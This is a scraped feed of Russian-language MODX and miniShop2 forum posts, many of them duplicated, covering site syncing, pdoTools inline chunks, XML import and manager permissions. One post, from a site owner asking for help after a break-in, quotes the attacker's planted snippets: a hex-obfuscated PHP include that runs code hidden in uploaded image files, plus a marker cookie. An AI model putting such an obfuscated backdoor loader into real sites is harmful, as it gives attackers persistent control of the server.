Evgeny Epifanov
С нами с 17 июня 2013; Место в рейтинге пользователей: #204Синхронизация 2 разных сайтов
Имеется идея синхронизировать 2 абсолютно разных сайта на ModX по какому-нибудь разделу.
Есть, например, на Сайте1 раздел «Новинки» (каждая новинка — это отдельный ресурс), хочется чтобы все новинки при синхронизации поступали на Сайт2 в раздел «Планируемые поступления», а также обновлялись при обновлении на Сайте1. Поскольку сайты разные, id ресурсов тоже будут разные.
Есть какие-нибудь готовые решения в этой области или нужно что-то свое изобретать?
Есть, например, на Сайте1 раздел «Новинки» (каждая новинка — это отдельный ресурс), хочется чтобы все новинки при синхронизации поступали на Сайт2 в раздел «Планируемые поступления», а также обновлялись при обновлении на Сайте1. Поскольку сайты разные, id ресурсов тоже будут разные.
Есть какие-нибудь готовые решения в этой области или нужно что-то свое изобретать?
Использование тегов MODX внутри @INLINE-чанков pdoTools
Многие знают, что в pdoTools в качестве шаблона вывода можно указывать @INLINE-код, чтобы не создавать лишних сущностей.
Некоторые знают, что в таких конструкциях нельзя вызывать сниппеты, не работают фильтры ввода-вывода. А в документации про это даже картинка саркастическая есть.
Хочу раскрыть небольшую тайну, как можно это ограничение иногда обойти… Подробности под катом :-Р
[[!pdoResources?
&tpl=`@INLINE <li>[[+pagetitle]]</li>`
]]
Некоторые знают, что в таких конструкциях нельзя вызывать сниппеты, не работают фильтры ввода-вывода. А в документации про это даже картинка саркастическая есть.
Хочу раскрыть небольшую тайну, как можно это ограничение иногда обойти… Подробности под катом :-Р
Взломали
Добрый вечер.
Подскажите пожалуйста. Второй раз взламывают сайт, не знаю как бороться.
Кратко о взломе:
— не знаю каким образом но грузят две картинки на сайт в папку images
— в админке создают два снипета и чанки.
Содержимое обного из снипетов —
При первом взломе грузили еще и php файлы в /connectors/resource/
Встречался кто с таким? И как с этим бороться?
Подскажите пожалуйста. Второй раз взламывают сайт, не знаю как бороться.
Кратко о взломе:
— не знаю каким образом но грузят две картинки на сайт в папку images
— в админке создают два снипета и чанки.
Содержимое обного из снипетов —
"setcookie('__utmr_cache','cut_',mktime(0,0,0,1,1,2020));"
Содержимое второго — хекс код инклуда этих картинокinclude($_SERVER["\x44\x4f\x43U\x4dEN\x54_\x52\x4fOT"]."/i\x6da\x67\x65s/\x73\x69\x6d\x70l\x65.\x6ap\x67");include($_SERVER["D\x4f\x43UMEN\x54_\x52\x4f\x4fT"]."/im\x61ges/\x69\x6d\x67.\x6a\x70g");
Чанком подгружают эти снипеты.При первом взломе грузили еще и php файлы в /connectors/resource/
Встречался кто с таким? И как с этим бороться?
[msNewPrice] - Новые и акционные цены [Minishop2]
импорт данных из xml в каталог сайта
Задача следующая: автоматический импорт файла xml со стороннего ресурса, далее распарсить в базу данных, чтобы выводить информацию в каталоге (miniShop2 и mSearch2). Чтобы, если какая позиция менялась — менялась на сайте, если добавлялась — добавлялась на сайте, а если позиция из xml файла удалена, то все равно оставалась на сайте.
Как это реализовать? Какие могут подвохи/сложности?
Как это реализовать? Какие могут подвохи/сложности?
Как дать доступ контент менеджеру к заказам MS2 ?
Создал пользователя, скопировал админскую политику доступа, урезал права. Создал соотвествующие группу и роль, все ок. Контент менеджер видит список ресурсов и источник файлов для картинок который я ему создал.
Но как добавить вкладку приложения так, чтобы там был доступны только кнопки минишопа? Это заказы и настройки, видел есть политика минишопа, я создал еще одну группу пользователей и привязал туда эту политику а контент менеджер у меня теперь и в менеджерской группе и в новой (администратор магазина). Но результата не дало это. Может есть еще какие-то варианты?
Но как добавить вкладку приложения так, чтобы там был доступны только кнопки минишопа? Это заказы и настройки, видел есть политика минишопа, я создал еще одну группу пользователей и привязал туда эту политику а контент менеджер у меня теперь и в менеджерской группе и в новой (администратор магазина). Но результата не дало это. Может есть еще какие-то варианты?
Поис &where по несуществующему tv
Добрый день.
in-site тв параметр
Вот так работает
in-site тв параметр
Вот так работает
&where=`{"template": 7, "in-site":"Да"}`
А вот так не хочет &where=`{"template": 7, "in-site":NULL }`
Как заставить работать? Сбросить нумерацию всех id в modx revo
Есть ли возможность сбросить нумерацию ресурсов, чанков, шаблонов… всего что нумеруется в Modx?
Например было 1000 ресурсов, 999 удалил, но следующий новый ресурс будет 1001… Так вот как быть в подобном случае?
Нужно что то типа auto increment 1 )
Хотел бы «запечатать» магазин, чтобы не было следов моих многочисленных тестов загрузки товаров и прочее
Например было 1000 ресурсов, 999 удалил, но следующий новый ресурс будет 1001… Так вот как быть в подобном случае?
Нужно что то типа auto increment 1 )
Хотел бы «запечатать» магазин, чтобы не было следов моих многочисленных тестов загрузки товаров и прочее
[miniShop2] Сниппет msVendor
Ковыряясь с AJAX загрузкой данных о продукте написал сниппет для получения данных о производителе по id.
Как работает:
Указываем id и получаем данные производителя в виде массива, либо строки обработанного чанка.
Как работает:
Указываем id и получаем данные производителя в виде массива, либо строки обработанного чанка.
Список производителей в miniShop2
В настройках магазина есть производители. Их название, страна, лого.
Если это поле выводить в tpl.msProducts.row, все нормально.
Как вывести на странице каталога название производителя с лого и описанием?
Например мне надо каталог/производитель и в нем ВСЕ производители.
Если это поле выводить в tpl.msProducts.row, все нормально.
Как вывести на странице каталога название производителя с лого и описанием?
Например мне надо каталог/производитель и в нем ВСЕ производители.